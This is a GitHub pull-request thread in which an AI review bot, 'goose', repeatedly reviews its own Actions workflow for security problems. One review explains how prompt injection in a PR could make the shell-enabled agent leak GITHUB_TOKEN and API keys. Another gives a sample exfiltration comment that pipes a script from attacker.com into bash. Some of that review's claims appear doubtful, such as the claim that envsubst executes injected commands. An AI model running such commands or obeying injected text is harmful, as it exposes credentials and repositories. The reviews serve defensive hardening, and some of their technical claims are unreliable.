Skip to content

Update goose-pr-reviewer.yml - #9

Closed
tlongwell-block wants to merge 3 commits into
mainfrom
tlongwell-block-patch-2
Closed

Update goose-pr-reviewer.yml#9
tlongwell-block wants to merge 3 commits into
mainfrom
tlongwell-block-patch-2

Conversation

@tlongwell-block

Copy link
Copy Markdown
Owner

No description provided.

@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

@github-actions

Copy link
Copy Markdown

Summary

The workflow gives maintainers an easy way to trigger goose-based PR reviews, but there are a couple of security gaps that should be addressed before relying on it.

🔴 Blocking Issues

  1. Secrets can be exfiltrated from the goose agent via prompt-injection (.github/workflows/goose-pr-reviewer.yml:38-47,145-149,200-214)

    • The recipe explicitly enables the developer extension (which grants arbitrary shell access) and the review prompt instructs the agent to study the PR contents. Because the PR diff and files are fully attacker-controlled, a malicious contributor can embed prompt-injection text ("print every environment variable", "cat /root/.ssh/id_rsa", etc.) that the agent may follow. At run time the step inherits both GITHUB_TOKEN (with pull-requests:write) and OPENAI_API_KEY, so a successful injection would leak privileged credentials and allow repo compromise. Relying solely on natural-language instructions (“never modify code”) is not a mitigation.
    • Fix: Run goose in a sandbox that does not inherit privileged secrets. At minimum, explicitly clear the default GITHUB_TOKEN and any other non-essential secrets before invoking goose run (e.g., env -u GITHUB_TOKEN -u OPENAI_API_KEY goose run ... plus pass an alternate low-priv token through a restricted channel). Alternatively, run goose against a checkout performed by a separate, token-less job and upload only the files it needs.
  2. Container image is not pinned to a digest (.github/workflows/goose-pr-reviewer.yml:141-143)

    • The workflow runs inside ghcr.io/block/goose:latest. Using a floating latest tag means the code you execute (and the goose binary you rely on) can change at any time, which opens you to supply-chain attacks that could steal the same secrets discussed above. GitHub’s security guidance recommends pinning every third-party action and container to an immutable digest.
    • Fix: Replace ghcr.io/block/goose:latest with a fully-qualified digest (e.g., ghcr.io/block/goose@sha256:...) and update it intentionally when you want to pull in a new build.

🟡 Warnings

None found

🟢 Suggestions

None

✅ Highlights

  • Nice gating: the job is limited to OWNER/MEMBER commenters and cancels prior runs per PR via the concurrency block.
  • Clear reviewer instructions and TODO template make the agent’s behavior reproducible.

Review generated by goose

@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

1 similar comment
@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

@tlongwell-block

Copy link
Copy Markdown
Owner Author

no oppppppp

@github-actions

Copy link
Copy Markdown

Summary

The workflow change is minimal, but I reviewed the entire goose-pr-reviewer.yml as requested. Overall the job is thoughtfully locked down (pinned actions, minimal permissions, containerized execution), and the additional prompt-injection warning plus the PR-number quoting fix both look good.

🔴 Blocking Issues

None found.

🟡 Warnings

  1. .github/workflows/goose-pr-reviewer.yml:129-131 – The concurrency key differentiates comment-triggered runs and manual workflow_dispatch runs by appending -${{ startsWith(github.event.comment.body || '', '/goose') }}. That means a manual rerun for the same PR (…-false) will not cancel an already-running comment-triggered review (…-true), so two goose agents can execute simultaneously against the same PR and both may post comments. If the intent is “only one review per PR at a time,” drop the boolean suffix so every run for a PR uses the same key.

🟢 Suggestions

  1. .github/workflows/goose-pr-reviewer.yml:29-34,185-201 – Manual (workflow_dispatch) invocations always fall back to “No specific instructions” because there is no comment body to parse. Consider adding an optional instructions input to workflow_dispatch and include it in REVIEW_INSTRUCTIONS so maintainers can request targeted reviews even when invoking the workflow manually.
  2. .github/workflows/goose-pr-reviewer.yml:160-168 – Each run installs jq, gettext, curl, and the GitHub CLI via apt-get, adding two apt-get update passes and an external repository setup. If this workflow runs frequently, consider baking those utilities into the base image or using actions/setup-gh to cut startup time and reduce the chance of transient apt failures.

✅ Highlights

  • .github/workflows/goose-pr-reviewer.yml:125-152 – Permissions are scoped to the minimum (read contents, write pull requests) and the job executes within a pinned container image with explicit environment variables, which is a solid security posture for a workflow that carries API keys.
  • .github/workflows/goose-pr-reviewer.yml:17-22 – The new inline reminder about prompt-injection risk is a nice touch and sets expectations for safe usage of the automated reviewer.

Review generated by goose

@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

@github-actions

Copy link
Copy Markdown

⚠️ goose PR review could not be completed. Check the workflow run for details.

@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

@github-actions

Copy link
Copy Markdown

Summary

This PR adds a security warning comment and improves shell variable handling by moving PR_NUM to environment variables. However, the entire workflow file has critical security vulnerabilities from shell injection via untrusted PR metadata and user comments, plus an invalid default model name. These issues must be fixed before this workflow can safely run.

🔴 Blocking Issues

1. Critical: Shell Injection via PR Title and Comment (HIGH SEVERITY)

Location: .github/workflows/goose-pr-reviewer.yml:214

echo "$GOOSE_RECIPE" | envsubst '$PR_NUMBER $PR_TITLE $REVIEW_INSTRUCTIONS' > /tmp/recipe.yaml

Problem: envsubst performs variable substitution on $PR_TITLE and $REVIEW_INSTRUCTIONS which come from untrusted sources (PR title via GitHub API, comment body via user input). An attacker can craft a PR title like:

Test PR"; malicious_command; echo "

Or a comment like:

/goose $(curl attacker.com/steal-secrets.sh | bash)

These would be directly interpolated into the YAML recipe and potentially executed.

Impact: Arbitrary code execution in the GitHub Actions runner with write access to the repository.

Fix: Properly escape these variables or use a safer templating mechanism:

# Option 1: Use jq to safely construct the YAML
jq -n \
  --arg pr "$PR_NUMBER" \
  --arg title "$PR_TITLE" \
  --arg instructions "$REVIEW_INSTRUCTIONS" \
  --rawfile recipe <(echo "$GOOSE_RECIPE") \
  '$recipe | gsub("\\$\\{PR_NUMBER\\}"; $pr) | gsub("\\$\\{PR_TITLE\\}"; $title) | gsub("\\$\\{REVIEW_INSTRUCTIONS\\}"; $instructions)' \
  > /tmp/recipe.yaml

# Option 2: Use a Python/Ruby script for safe substitution
# Option 3: Export as env vars and let goose handle them directly

2. Critical: Invalid Default Model Name

Location: .github/workflows/goose-pr-reviewer.yml:19 and :149

#   - GOOSE_MODEL: Model name (default: gpt-5.1-codex)
...
GOOSE_MODEL: ${{ vars.GOOSE_MODEL || 'gpt-5.1-codex' }}

Problem: gpt-5.1-codex is not a valid OpenAI model name. The Codex models were deprecated, and there's no GPT-5.1 model. This will cause the workflow to fail when run without GOOSE_MODEL configured.

Evidence: Other workflows use gpt-5.1 (goose-issue-solver.yml:109) or gpt-5 (test-finder.yml:27).

Fix: Use a valid model name:

GOOSE_MODEL: ${{ vars.GOOSE_MODEL || 'gpt-4o' }}
# or
GOOSE_MODEL: ${{ vars.GOOSE_MODEL || 'gpt-4-turbo' }}

3. Critical: No Validation of PR Metadata

Location: .github/workflows/goose-pr-reviewer.yml:176-177

gh api /repos/${{ github.repository }}/pulls/$PR_NUM > /tmp/pr.json
gh pr diff $PR_NUM --repo ${{ github.repository }} > /tmp/pr.diff

Problem: No validation that the API calls succeeded or that the PR exists. If they fail silently, the workflow continues with empty/invalid files, potentially causing confusing behavior or exposing the agent to malformed inputs.

Fix: Add error checking:

if ! gh api /repos/${{ github.repository }}/pulls/$PR_NUM > /tmp/pr.json; then
  echo "Error: Failed to fetch PR #$PR_NUM"
  exit 1
fi

if ! gh pr diff $PR_NUM --repo ${{ github.repository }} > /tmp/pr.diff; then
  echo "Error: Failed to fetch diff for PR #$PR_NUM"
  exit 1
fi

🟡 Warnings

1. Shallow Checkout Limits Review Context

Location: .github/workflows/goose-pr-reviewer.yml:158

fetch-depth: 1

Problem: Fetching only the latest commit limits the reviewer's ability to understand git history, see blame information, or understand the broader context of changes. This reduces review quality.

Recommendation: Use fetch-depth: 0 or at least a larger number (e.g., 50) to provide better context for reviews:

fetch-depth: 0  # Full history
# OR
fetch-depth: 50  # Last 50 commits

2. Concurrency Group Logic is Confusing

Location: .github/workflows/goose-pr-reviewer.yml:130-131

concurrency:
  group: goose-pr-review-${{ github.event.issue.number || github.event.inputs.pr_number }}-${{ startsWith(github.event.comment.body || '', '/goose') }}
  cancel-in-progress: true

Problem: Including startsWith(...) in the group name creates different groups (...-true vs ...-false) which defeats the purpose of concurrency control. Multiple reviews can run simultaneously for the same PR if triggered via different mechanisms.

Recommendation: Simplify to just the PR number:

concurrency:
  group: goose-pr-review-${{ github.event.issue.number || github.event.inputs.pr_number }}
  cancel-in-progress: true

3. No Timeout on Agent Execution

Location: .github/workflows/goose-pr-reviewer.yml:216

goose run --recipe /tmp/recipe.yaml

Problem: While the job has a 15-minute timeout (line 142), the goose command itself has no timeout. If goose hangs but keeps the process alive, it will run for the full 15 minutes.

Recommendation: Add a timeout command:

timeout 12m goose run --recipe /tmp/recipe.yaml || {
  echo "Goose review timed out after 12 minutes"
  exit 1
}

4. Recipe Embedded in Workflow (Maintainability)

Location: .github/workflows/goose-pr-reviewer.yml:36-123

Problem: The entire goose recipe is embedded as a multi-line YAML string in the workflow. This makes it:

  • Hard to test the recipe independently
  • Difficult to version and track recipe changes
  • Prone to YAML escaping issues
  • Unable to be reused by other workflows or local testing

Recommendation: Extract to a separate file:

# Create .github/recipes/pr-review.yaml
# Then in the workflow:
- name: Prepare recipe
  run: |
    envsubst < .github/recipes/pr-review.yaml > /tmp/recipe.yaml

5. Inconsistent Model Defaults Across Workflows

Location: .github/workflows/goose-pr-reviewer.yml:149

Problem: Different goose workflows use different default models:

  • goose-pr-reviewer.yml: gpt-5.1-codex (invalid)
  • goose-issue-solver.yml: gpt-5.1
  • test-finder.yml: gpt-5

Recommendation: Standardize on a single valid model across all workflows, or document why they differ.

🟢 Suggestions

1. Consider Using GitHub Job Summaries

Location: .github/workflows/goose-pr-reviewer.yml:224-230

Add a job summary for better visibility without cluttering PR comments:

- name: Add job summary
  if: steps.goose.outputs.has_review == 'true'
  run: |
    cat /tmp/pr_review.md >> $GITHUB_STEP_SUMMARY

2. Add Review Metadata

Consider adding metadata to the review comment:

echo "<!-- goose-review: pr=$PR_NUM run=${{ github.run_id }} model=$GOOSE_MODEL -->" >> /tmp/pr_review.md

This helps track which run produced which review and with what configuration.

3. Extract Instructions Parsing to Dedicated Step

The sed chain in lines 192-193 is fragile. Consider using a more robust approach:

- name: Extract review instructions
  uses: actions/github-script@v7
  id: instructions
  with:
    result-encoding: string
    script: |
      const body = context.payload.comment?.body || '';
      const match = body.match(/^\/goose\s+(.+)$/s);
      return match ? match[1].trim() : 'No specific instructions - perform a general code review.';

4. Consider Rate Limiting Protection

If this workflow is triggered frequently, consider adding a check to prevent API rate limit exhaustion:

- name: Check rate limit
  run: |
    REMAINING=$(gh api /rate_limit --jq '.rate.remaining')
    if [ "$REMAINING" -lt 100 ]; then
      echo "Warning: Only $REMAINING API calls remaining"
    fi

✅ Highlights

1. Security Warning Added

Location: .github/workflows/goose-pr-reviewer.yml:21

The addition of the security warning comment is excellent:

# Security: PR content could prompt-inject the agent; only trigger on PRs you trust.

This acknowledges the risk, though the underlying vulnerability still needs to be fixed.

2. Proper SHA Pinning for Actions

Location: .github/workflows/goose-pr-reviewer.yml:155

uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # pin@v4

Using SHA pins instead of tags prevents supply chain attacks via tag manipulation.

3. Environment Variable Approach for PR_NUM

Location: .github/workflows/goose-pr-reviewer.yml:228, 236

The changes in this PR move PR_NUM to environment variables, which is safer than inline shell interpolation:

env:
  PR_NUM: ${{ steps.pr.outputs.number }}
run: |
  gh pr comment "$PR_NUM" ...

This is the right pattern and should be extended to other variables.

4. Proper Permission Scoping

Location: .github/workflows/goose-pr-reviewer.yml:125-127

permissions:
  contents: read
  pull-requests: write

Following the principle of least privilege by only granting necessary permissions.

5. Author Association Check

Location: .github/workflows/goose-pr-reviewer.yml:139

contains(fromJSON('["OWNER", "MEMBER"]'), github.event.comment.author_association)

Properly restricts who can trigger the workflow to prevent abuse.


Review generated by goose

@tlongwell-block

Copy link
Copy Markdown
Owner Author

/goose review this entire workflow file. Not just the little change here. I just made the change to enable this review process. I'm concerned about the whole file

@github-actions

Copy link
Copy Markdown

Summary

This PR adds PR_NUM environment variables to the comment posting steps, but the implementation references non-existent workflow outputs and the variables are never actually used. The workflow itself is well-designed with strong security considerations, but these new additions introduce bugs that will cause workflow failures.

🔴 Blocking Issues

1. Reference to non-existent step output (.github/workflows/goose-pr-reviewer.yml:223, 231)

Problem: Both lines reference steps.pr.outputs.number, but there is no step with id: pr in this workflow.

# Line 223
PR_NUM: ${{ steps.pr.outputs.number }}

# Line 231  
PR_NUM: ${{ steps.pr.outputs.number || github.event.issue.number || github.event.inputs.pr_number }}

Impact: This will cause a workflow error since the output doesn't exist.

Fix: Remove these PR_NUM declarations entirely, or if you need the PR number in an environment variable, use:

PR_NUM: ${{ github.event.issue.number }}

2. Reference to non-existent workflow input (.github/workflows/goose-pr-reviewer.yml:231)

Problem: The fallback chain includes github.event.inputs.pr_number, but this workflow only triggers on issue_comment (line 26-27), not workflow_dispatch.

# Line 231
PR_NUM: ${{ steps.pr.outputs.number || github.event.issue.number || github.event.inputs.pr_number }}

Impact: The github.event.inputs.pr_number will always be null. If you were to add workflow_dispatch later, this could create security issues (see line 21's warning about TOCTOU attacks).

Fix: Remove github.event.inputs.pr_number from the fallback chain.

🟡 Warnings

3. Unused environment variable (.github/workflows/goose-pr-reviewer.yml:223, 231)

Problem: PR_NUM is defined as an environment variable but never referenced in the shell commands.

# Line 224-225 - uses github.event.issue.number directly, not $PR_NUM
run: |
  gh pr comment ${{ github.event.issue.number }} --repo ${{ github.repository }} --body-file /tmp/pr_review.md

Impact: No functional impact, but adds confusion and maintenance burden.

Fix: Either:

  • Remove the PR_NUM environment variable entirely (recommended)
  • Or use $PR_NUM in the shell command: gh pr comment $PR_NUM --repo ...

4. Potential issues with PR_BODY in envsubst (.github/workflows/goose-pr-reviewer.yml:209)

Problem: PR_BODY is passed to envsubst without any escaping. If the PR body contains special characters like $, backticks, or quotes, it could cause issues.

# Line 209
echo "$GOOSE_RECIPE" | envsubst '$PR_NUMBER $PR_TITLE $PR_BODY $REVIEW_INSTRUCTIONS' > /tmp/recipe.yaml

Context: Looking at line 198, PR_BODY comes from ${{ github.event.issue.body }} which is user-controlled content.

Impact: Could cause the recipe generation to fail or inject unintended variables if a PR body contains shell metacharacters.

Fix: Consider whether PR_BODY is actually needed in the recipe. If so, pre-process it or use a different method to inject it (like writing it to a file and reading from there).

🟢 Suggestions

5. Inconsistency with security comment (.github/workflows/goose-pr-reviewer.yml:21)

Observation: The comment states "Do not add workflow_dispatch: API calls fetch mutable data, enabling TOCTOU attacks." However, goose-issue-solver.yml includes workflow_dispatch with security mitigations.

Context: The TOCTOU concern is valid - when triggered via workflow_dispatch, the PR content could change between when the workflow is dispatched and when it runs. However, goose-issue-solver.yml shows it's possible to support workflow_dispatch safely for debugging/manual triggers.

Suggestion: Either:

  • Keep the restriction but clarify why this workflow is different (perhaps PR reviews are more security-sensitive)
  • Or add workflow_dispatch with similar safeguards to goose-issue-solver.yml if manual triggers would be useful

6. Timeout consideration (.github/workflows/goose-pr-reviewer.yml:135)

Observation: This workflow has a 15-minute timeout while goose-issue-solver.yml has 30 minutes (line 102 in that file).

# Line 135
timeout-minutes: 15

Context: Code reviews might need more time for large PRs with many files.

Suggestion: Consider if 15 minutes is sufficient. If reviewers report timeouts, increase to 20-30 minutes.

7. Recipe description uses PR_NUMBER before it's defined

Minor issue: Line 33 in the embedded recipe uses ${PR_NUMBER} in the description, which is fine, but it's defined later at line 196. Just a readability note - not an error since envsubst handles it.

✅ Highlights

Excellent security design

  • Permission restrictions (lines 120-121): Properly scoped contents: read and pull-requests: write
  • Author association check (line 132): Only OWNER/MEMBER can trigger - prevents abuse
  • Security awareness (lines 19-21): Thoughtful comments about prompt injection and TOCTOU risks
  • No secrets in environment (line 143): API keys properly scoped to container env

Good operational practices

  • Concurrency control (lines 123-125): Prevents duplicate reviews on the same PR
  • Reaction emoji (lines 147-153): Good UX - users get immediate feedback that their trigger was recognized
  • Proper error handling (lines 227-233): Failure comment ensures users aren't left wondering what happened
  • Pinned action versions (line 156): Uses commit SHA for actions/checkout security

Well-documented workflow

  • Comprehensive header (lines 1-21): Clear trigger examples, required secrets, and security notes
  • Structured recipe (lines 72-94): Clear phases guide the agent through the review process
  • Read-only emphasis (lines 49, 87, 117): Multiple reminders that this is review-only

Review generated by goose

@github-actions

github-actions Bot commented Jan 9, 2026

Copy link
Copy Markdown

This pull request has been automatically marked as stale because it has not had recent activity for 23 days.

What happens next?

  • If no further activity occurs, this PR will be automatically closed in 7 days
  • To keep this PR active, simply add a comment, push new commits, or add the keep-open label
  • If you believe this PR was marked as stale in error, please comment and we'll review it

Thank you for your contribution! 🚀

@github-actions github-actions Bot added the stale label Jan 9, 2026
@github-actions

Copy link
Copy Markdown

This pull request has been automatically closed due to inactivity.

Why was this closed?

  • No activity for 30 days total (23 days + 7 day grace period)
  • Marked as stale 7 days ago with no subsequent activity

Want to reopen?

  • You can reopen this PR at any time if you want to continue working on it
  • Consider rebasing against the latest main branch before reopening
  • Feel free to reach out if you need any assistance

Thank you for your contribution! We appreciate your effort. 🙏

@github-actions github-actions Bot closed this Jan 16, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant